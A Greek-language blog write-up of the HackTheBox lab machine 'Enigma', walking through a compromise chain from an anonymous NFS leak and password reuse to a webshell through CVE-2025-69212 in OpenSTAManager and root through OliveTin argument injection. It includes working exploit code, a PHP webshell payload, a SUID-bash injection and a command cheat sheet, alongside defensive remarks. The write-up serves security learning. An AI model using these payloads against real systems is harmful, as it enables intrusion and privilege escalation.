Πίσω στο blog
← Πίσω στα posts

English  ·  Ελληνικά

HTB: Enigma

HackTheBoxΤο προφίλ μου στο HTB & περισσότερα boxes ↗ GitHubΕργαλεία security & automation ανοιχτού κώδικα ↗

Το Enigma είναι "εύκολο" μόνο στην ετικέτα δυσκολίας — είναι μια πραγματικά ικανοποιητική αλυσίδα όπου κάθε υπηρεσία παραδίδει το κλειδί για την επόμενη, και τίποτα στην πορεία δεν είναι bug memory-corruption. Ένα unauthenticated export NFS παραδίδει έγγραφα onboarding με ένα temp password· η επαναχρησιμοποίηση password το περπατά μέσα στο webmail ενός δεύτερου χρήστη, που διαρρέει credentials για ένα CRM· το CRM είναι ένα OpenSTAManager που είναι patched-αλλά-ακόμα-ευάλωτο (CVE-2025-69212) που μετατρέπει ένα upload ZIP σε webshell· ένα password βάσης δεδομένων μας δίνει έναν πραγματικό χρήστη· και το root είναι ένα λάθος ρυθμισμένο εργαλείο automation OliveTin που τρέχει ευχαρίστως εντολές επιπέδου-root — με ορίσματα δοσμένα από τον επιτιθέμενο — για όποιον μπορεί να φτάσει το socket του.
Enigma compromise chain: an anonymous NFS export leaks kevin's onboarding password, reuse gives sandra's webmail which leaks OpenSTAManager admin creds, CVE-2025-69212 drops a webshell as www-data, config.inc.php DB creds crack haris's hash for user.txt, and a root-run OliveTin backup_database action injects db_pass into a shell for root.txt
NFS :2049 → kevin (onboarding pdf) → sandra (reuse) → OpenSTAManager RCE → www-data → DB hash → haris → OliveTin → root

Αναγνώριση

Το scan είναι μια επιφάνεια σε σχήμα mail-server — SSH, HTTP, POP3/IMAP (Dovecot), και κρίσιμα NFS στη 2049. Τα πιστοποιητικά TLS και ένα redirect HTTP ονομάζουν τον host enigma.htb.

nmap
$ nmap -p- -sCV <TARGET_IP> 22/tcp open ssh OpenSSH 9.6p1 Ubuntu 80/tcp open http nginx 1.24.0 (redirect → http://enigma.htb/) 110/tcp open pop3 Dovecot pop3d 143/tcp open imap Dovecot imapd 993/995 open ssl/imap, ssl/pop3 2049/tcp open nfs (RPC 100003 v3,4)

Ένα fuzz vhost στο enigma.htb αναδεικνύει το mail001 (webmail Roundcube) και αργότερα το support_001. Πρόσθεσέ τα στο /etc/hosts και προχώρα στο export NFS.

Αρχική Πρόσβαση — Διαρροή Anonymous NFS

Το showmount λιστάρει ένα μόνο export με το χαρακτηριστικό * — κανένας περιορισμός client, οποιοσδήποτε μπορεί να το κάνει mount:

showmount → mount
$ showmount -e <TARGET_IP> Export list for <TARGET_IP>: /srv/nfs/onboarding * $ sudo mount -t nfs <TARGET_IP>:/srv/nfs/onboarding /tmp/onboarding -o ro $ ls -la /tmp/onboarding -rw-r--r-- 1 root root 1751 Feb 19 14:53 New_Employee_Access.pdf

Ένα world-readable αρχείο, ονομασμένο ακριβώς όπως το είδος εγγράφων onboarding που έχει ένα temp password. Το pdftotext το επιβεβαιώνει:

pdftotext New_Employee_Access.pdf -
Enigma Corp IT Department — New Employee System Access Employee: Kevin Mitchell Webmail Access URL: http://mail001.enigma.htb Username: kevin Password: Enigma2024! Please change your password upon first login.
Ένα export NFS με * και χωρίς σκέψη root_squash είναι ολόκληρο το foothold. Τα exports θα έπρεπε να είναι καρφωμένα σε συγκεκριμένα hosts/subnets, mounted read-only όπου γίνεται, και — προφανώς — να μην χρησιμοποιούνται ποτέ για να σταθμεύσουν έγγραφα credentials.

Επαναχρησιμοποίηση Password — kevin → sandra

Τα credentials του PDF κάνουν login στο Roundcube σαν kevin, του οποίου το inbox είναι ένα ανιαρό email καλωσορίσματος από τη Sarah στα Accounts. Αυτό είναι το στοιχείο: η Sarah έγινε onboarded με τον ίδιο τρόπο που έγινε ο Kevin, και το έγγραφο έλεγε στον Kevin να αλλάξει το temp password του — τίποτα δεν υποδεικνύει ότι κάποιος πραγματικά το έκανε. Η φτηνή υπόθεση είναι επαναχρησιμοποίηση password σε όλο το προσωπικό, και πληρώνει:

sandra : Enigma2024!
Login to http://mail001.enigma.htb as sandra : Enigma2024! → success

Το mailbox της Sandra έχει το κέρδος — ένα "Re: OpenSTAManager Access Request" από το IT με credentials για μια τρίτη εφαρμογή:

sandra's inbox
Re: OpenSTAManager Access Request URL: http://support_001.enigma.htb Username: admin Password: Ne3s4rtars78s
Το Roundcube εδώ είναι 1.6.16 — η patched έκδοση, όχι μια ευάλωτη. Ο δρόμος μπροστά δεν ήταν ένα CVE webmail· ήταν το να διαβάσεις το mail. Η καταμέτρηση δεν αφορά μόνο εκδόσεις.

Foothold — Injection P7M του OpenSTAManager (CVE-2025-69212)

Το support_001 τρέχει OpenSTAManager 2.9.8, και τα credentials admin κάνουν login κατευθείαν. Εκείνη η έκδοση είναι ευάλωτη στο CVE-2025-69212, ένα OS command injection στην επεξεργασία αρχείων P7M (signed-XML). Ο μηχανισμός: όταν η εφαρμογή κάνει decode ένα αρχείο .p7m βγαίνει σε shell στο OpenSSL, παρεμβάλλοντας το filename στην εντολή χωρίς sanitisation:

src/Util/XML.php — decodeP7M()
$output_file = $directory.'/'.basename($file, '.p7m'); exec('openssl smime -verify -noverify -in "'.$file.'" -inform DER -out "'.$output_file.'"', $output, $cmd);

Το plugin importFE_ZIP κάνει extract ένα ανεβασμένο ZIP και τροφοδοτεί το όνομα κάθε καταχώρησης .p7m σε εκείνο το exec(). Οπότε ένα ZIP του οποίου το όνομα καταχώρησης κλείνει το εισαγωγικό και κάνει inject μια εντολή είναι αυθαίρετη εκτέλεση. Ένας περιορισμός: το ZipArchive::extractTo() της PHP χωρίζει στο /, οπότε το payload πρέπει να είναι χωρίς κάθετο — cd files && … αντί για απόλυτο path:

build the malicious zip
$ python3 - <<'EOF' import zipfile cmd = 'cd files && echo \'<?php system($_GET["c"]); ?>\' > SHELL.php' fn = f'invoice.p7m";{cmd};echo ".p7m' zipfile.ZipFile('exploit.zip','w').writestr(fn, b"DUMMY_P7M_CONTENT") EOF

Διαβάζοντας το filename ενάντια στην ευάλωτη γραμμή: το invoice.p7m" κλείνει το εισαγωγικό που τυλίγει το αθώο όνομα, το ;{cmd}; τρέχει το payload σαν δικό του statement, και το τελικό echo ".p7m απορροφά το υπόλοιπο -inform DER … σαν αθώα ορίσματα ώστε τίποτα να μη ρίξει syntax error. Ανέβασέ το μέσω του picker Importazione FE (ένα απλό POST /actions.php, op=save, πεδίο αρχείου blob):

upload & confirm RCE
$ curl -b osm.cookies -F op=save -F id_module=14 -F id_plugin=48 \ -F 'blob=@exploit.zip;type=application/zip' http://support_001.enigma.htb/actions.php {"error":"... non è un file ZIP valido."} # fires AFTER exec() already ran $ curl "http://support_001.enigma.htb/files/SHELL.php?c=id" uid=33(www-data) gid=33(www-data) groups=33(www-data)
Εκείνο το error XML-parse είναι επιβεβαίωση, όχι αποτυχία — ο decoder πνίγεται στο DUMMY_P7M_CONTENT γιατί δεν είναι έγκυρο signed XML, αλλά εκείνος ο έλεγχος συμβαίνει μόνο αφού το injected filename μας έχει ήδη περάσει από exec(). Το webshell είναι στον δίσκο.

www-data → haris — Επαναχρησιμοποίηση Password Database

Το config.inc.php του OpenSTAManager κρατά το login MySQL του, και το OSM αποθηκεύει τους δικούς του χρήστες σαν bcrypt στον πίνακα zz_users:

config → db → hashes
www-data$ grep -E 'db_(username|password|name)' config.inc.php $db_username = 'brollin'; $db_password = 'Fri3nds@9099'; $db_name = 'openstamanager'; www-data$ mysql -u brollin -p'Fri3nds@9099' openstamanager -N -e \ 'SELECT username,password FROM zz_users;' admin $2y$10$rTJVUNyGGKPlhw2cFdf5Ae... haris $2y$10$WHf1T79sxjsZongUKT2jGeexTkvihBQyCZeoYXmObiNphrsZDr6eC

Ο haris είναι επίσης πραγματικός χρήστης συστήματος. Το bcrypt του πέφτει στο rockyou μέσα σε δευτερόλεπτα:

hashcat -m 3200
$ hashcat -m 3200 haris.hash rockyou.txt $2y$10$WHf1T79sxjsZongUKT2j...:bestfriends

Το SSH είναι μόνο public-key, οπότε το su haris είναι ο τρόπος εισόδου. Το user flag ζει στο home του:

su haris → user.txt
www-data$ su haris # bestfriends haris@enigma:~$ cat user.txt [redacted — user flag]

Root — Ένα Εργαλείο Automation Root που Εμπιστεύεται το Input του

Ο haris δεν έχει sudo. Η καταμέτρηση διαδικασιών αναδεικνύει κάτι που τρέχει σαν root: /usr/local/bin/OliveTin — ένα web-based εργαλείο "run buttons for shell commands", ακούει στο 127.0.0.1:1337. Το config του (/etc/OliveTin/config.yaml) έχει δύο ενοχοποιητικές ρυθμίσεις και μία επικίνδυνη action:

/etc/OliveTin/config.yaml (excerpt)
authRequireGuestsToLogin: false # guests can do anything defaultPermissions: { exec: true } - title: Backup Database id: backup_database shell: "mysqldump -u {{ db_user }} -p'{{ db_pass }}' {{ db_name }} > /opt/backups/backup.sql" arguments: - name: db_pass type: password # NOT an ascii_identifier — never sanitised

Δύο από τα τρία ορίσματα είναι ascii_identifier (validated), αλλά το db_pass είναι τύπου password — ελεύθερης μορφής, χωρίς φιλτράρισμα χαρακτήρων — και ρίχνεται κατευθείαν σε ένα shell template. Κλείσε το εισαγωγικό -p'…' και κάνε inject.

Η λεπτομέρεια που μου κόστισε χρόνο: αυτή η action είναι προσβάσιμη μόνο σαν haris. Από το webshell www-data, κάθε σύνδεση στο 127.0.0.1:1337 απλά κρεμούσε — ένα owner-match του firewall του host πετάει την κίνηση του web χρήστη προς το OliveTin. Γι' αυτό ακριβώς το box χρειάζεται το βήμα su haris· δεν είναι προαιρετική διακόσμηση. Σαν haris, το API επιστρέφει 200 αμέσως.
OliveTin privesc diagram: www-data has RCE but is firewalled from port 1337, haris can reach the OliveTin API which runs the backup_database action as root guest, and the unsanitized db_pass password-type argument breaks out of the mysqldump shell to install a SUID root bash

Το OliveTin μιλάει ConnectRPC. Η ασύγχρονη μέθοδος StartAction πέταξε σιωπηλά το actionId μου· η κλήση που δουλεύει είναι το StartActionAndWait. Κάνε inject μέσω db_pass για να ρίξεις ένα SUID-root bash:

StartActionAndWait — as haris
haris@enigma:~$ curl -s http://127.0.0.1:1337/api/olivetin.api.v1.OliveTinApiService/StartActionAndWait \ -H 'Content-Type: application/json' --data '{ "actionId":"backup_database", "arguments":[ {"name":"db_user","value":"backup_svc"}, {"name":"db_pass","value":"x'"'"' ; install -m 4755 /bin/bash /tmp/.bs ; #"}, {"name":"db_name","value":"production"}]}' {"logEntry":{"actionTitle":"Backup Database","exitCode":0,"user":"guest", ...}}

Το template κάνει render σαν mysqldump -u backup_svc -p'x' ; install -m 4755 /bin/bash /tmp/.bs ; #' production … — το install τρέχει σαν root και ρίχνει ένα setuid bash. Μετά το -p κρατά το effective UID στο 0:

SUID bash → root
$ /tmp/.bs -p -c 'id; cat /root/root.txt' uid=33(www-data) euid=0(root) groups=33(www-data) [redacted — root flag]
"Run buttons for shell commands" είναι μια συμμαζεμένη ιδέα μέχρι τα κουμπιά να παίρνουν ορίσματα ελεύθερης μορφής, να τρέχουν σαν root, και να δέχονται unauthenticated guests. Οποιοδήποτε από αυτά απενεργοποιημένο σταματά αυτό: validate/whitelist τιμές ορισμάτων, μην τρέχεις ποτέ τον daemon σαν root, και απαίτησε auth για exec. Το security-by-obscurity (binding στο loopback) αγόρασε μόνο έναν κανόνα firewall που ένα su νικά.

Γιατί Δούλεψε

ΣταδιοΡιζα του προβληματος
→ kevinExport NFS μοιρασμένο σε * με ένα έγγραφο credentials μέσα του (CWE-552 / CWE-284)
kevin → sandraΚοινό temp password onboarding επαναχρησιμοποιημένο σε όλο το προσωπικό, ποτέ αλλαγμένο (CWE-521 / CWE-259)
→ www-dataΤο OpenSTAManager ≤2.9.8 παρεμβάλλει ένα filename .p7m μέσα σε exec() — CVE-2025-69212 (CWE-78)
→ harisPassword DB σε config + ένα σπάσιμο bcrypt επαναχρησιμοποιημένο σαν password συστήματος (CWE-522)
→ rootOliveTin που τρέχει σαν root με guest exec και ένα unsanitised όρισμα τύπου-password σε ένα shell template (CWE-78 / CWE-269 / CWE-306)

Βασικές εντολές

quick reference
# 1. NFS → credentials onboarding showmount -e <IP> ; sudo mount -t nfs <IP>:/srv/nfs/onboarding /tmp/onboarding -o ro pdftotext /tmp/onboarding/New_Employee_Access.pdf - # kevin:Enigma2024! # 2. επαναχρησιμοποίηση → webmail sandra → OpenSTAManager admin:Ne3s4rtars78s # 3. CVE-2025-69212 → webshell (www-data) zip entry name: invoice.p7m";cd files && echo '<?php system($_GET[c]); ?>' > SHELL.php;echo ".p7m POST /actions.php op=save id_module=14 id_plugin=48 blob=@exploit.zip # 4. credentials DB → σπάσε → haris mysql -u brollin -p'Fri3nds@9099' openstamanager -e 'SELECT username,password FROM zz_users;' hashcat -m 3200 haris.hash rockyou.txt # bestfriends → su haris # 5. OliveTin (σαν haris) → root curl http://127.0.0.1:1337/api/olivetin.api.v1.OliveTinApiService/StartActionAndWait \ --data '{"actionId":"backup_database","arguments":[{"name":"db_pass", "value":"x'"'"' ; install -m 4755 /bin/bash /tmp/.bs ; #"}, ...]}' /tmp/.bs -p -c 'cat /root/root.txt'
HackTheBoxΤο προφίλ μου στο HTB & περισσότερα boxes ↗ GitHubΕργαλεία security & automation ανοιχτού κώδικα ↗